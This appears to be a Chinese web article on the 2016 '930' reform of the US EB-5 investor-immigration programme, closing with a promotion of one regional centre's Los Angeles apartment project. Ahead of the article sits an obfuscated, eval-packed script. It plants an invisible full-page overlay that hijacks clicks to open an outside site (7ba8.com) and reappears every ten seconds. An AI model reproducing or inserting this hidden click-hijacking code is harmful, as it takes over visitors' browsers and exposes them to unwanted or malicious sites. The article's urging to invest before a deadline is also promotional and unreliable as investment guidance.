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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>关注美国投资移民的大概都知道，9月30日之后，美国移民法案将会有所改变，究竟会有多大的变化，会不会对投资者已经参与的项目产生影响，是否面临涨价等一系列问题都仍旧是谜，一切答案都是猜测。不过也不是完全没有头绪，许多行业专家都多多少少发表了他们对930和投资移民行业未来走向的看法，这几天看了不少观点文章，今天给大家整理一下。前阵子，看了一篇行业文章，觉得写得很好，作者是前IIUSA立法委员会主席、EB-5领域10强律师，也是美国一家老牌区域中心美国梦基金的联合创始人兼董事——Joseph McCarthy，这家区域中心相信有不少关注投资移民行业的朋友都听说过，业内教科式的项目好莱坞W酒店就是他们家的，这个项目的通过率是100%。原文有些专业难读，但是其中一些观点我认为值得深入探讨，今天给大家拆解一下。 看点一：EB-5改革势在必行，2016将是美国移民局掌舵之年Joseph McCarthy认为，从近期美国移民局的各种动作来看，2016年，美国移民局应该会在自己的职权范围内有选择性的进行改革，且在改革中占主导地位。虽然这些改革不一定能一劳永逸，但肯定会比之前要完善。而且，近年来EB-5项目频繁曝出大规模诈骗，“不改革不授权”的呼声也越来越高。因此，虽然无法预计这次930改革究竟会历时多久、最终效果如何，但有一点是可以确认的，那就是美国移民法案的改革势在必行。 看点二：加强监管力度是应对改革的关键Joseph McCarthy 表示，移民局有望能促成EB-5法案的长期性，并使未来整个行业更加趋于透明化、规范化。Joseph McCarthy 还预测，一方面，新法案将对项目方及区域中心构成更大的约束和监管力度，以保证项目完整性和诚信度；另一方面，新法案将更加注重保障投资人绿卡安全和投资安全，避免过程中不必要的挫折。 其实从Joseph McCarthy的观点里不难发现，多数业内专家对于930改革的态度都还是相对积极的，并且相信930改革会促使EB-5向积极的方向前进。但是，930临近，投资人搭上EB-5改革前夕的末班车是否是明智之举、怎样的项目又能免受930影响，仍是不少投资人绞尽脑汁想要弄明白的事儿。我的答案是找到一个贴靠改革趋势的EB-5项目在930前递交申请。毕竟本次改革针对930之后的申请人可能性更大，而对于那些930前递交申请的投资人受影响几率微乎其微。那么，什么项目受影响几率小呢？在刚刚结束不久的纽约2016 EB-5投资移民大会上，这家老牌的区域中心美国梦基金毫无预兆的抛出了一个全新的概念“第三方资产管理机制”。真的是毫无预兆吗？其实是有迹可循的，美国梦基金旗下的洛杉矶第五大道豪华公寓项目已经引入了“第三方资产管理机构”。作为首个吃螃蟹的人，我还是对美国梦基金这一创新的举措怀敬佩之心的，不管怎么说，人家抓住了时机，及时推出了迎合930改革大趋势的机制。回头看看项目，洛杉矶第五大道豪华公寓7月已经拿到了全部动工许可，项目正式进入施工期，地面可视化全面开启，EB-5资金陆续进入监管账户。从之前美国梦基金官方曝光的项目施工地视频里，我们可以看到项目依旧走在预计进度中。现阶段，我们还是多多少少可以感觉到“第三方资产管理机构”的作用力的。究竟未来“第三方监管机构”还将在项目中发挥哪些作用，仍需对洛杉矶第五大道豪华公寓项目的持续观察，但总的来说，如果你打算赶这趟930的末班车，那么这个项目可投性较高；如果你持观望态度，那么可以继续留意这个唱出“首家引入第三方资产管理机构”的项目，就是不知道930后是否真的会涨价。 |
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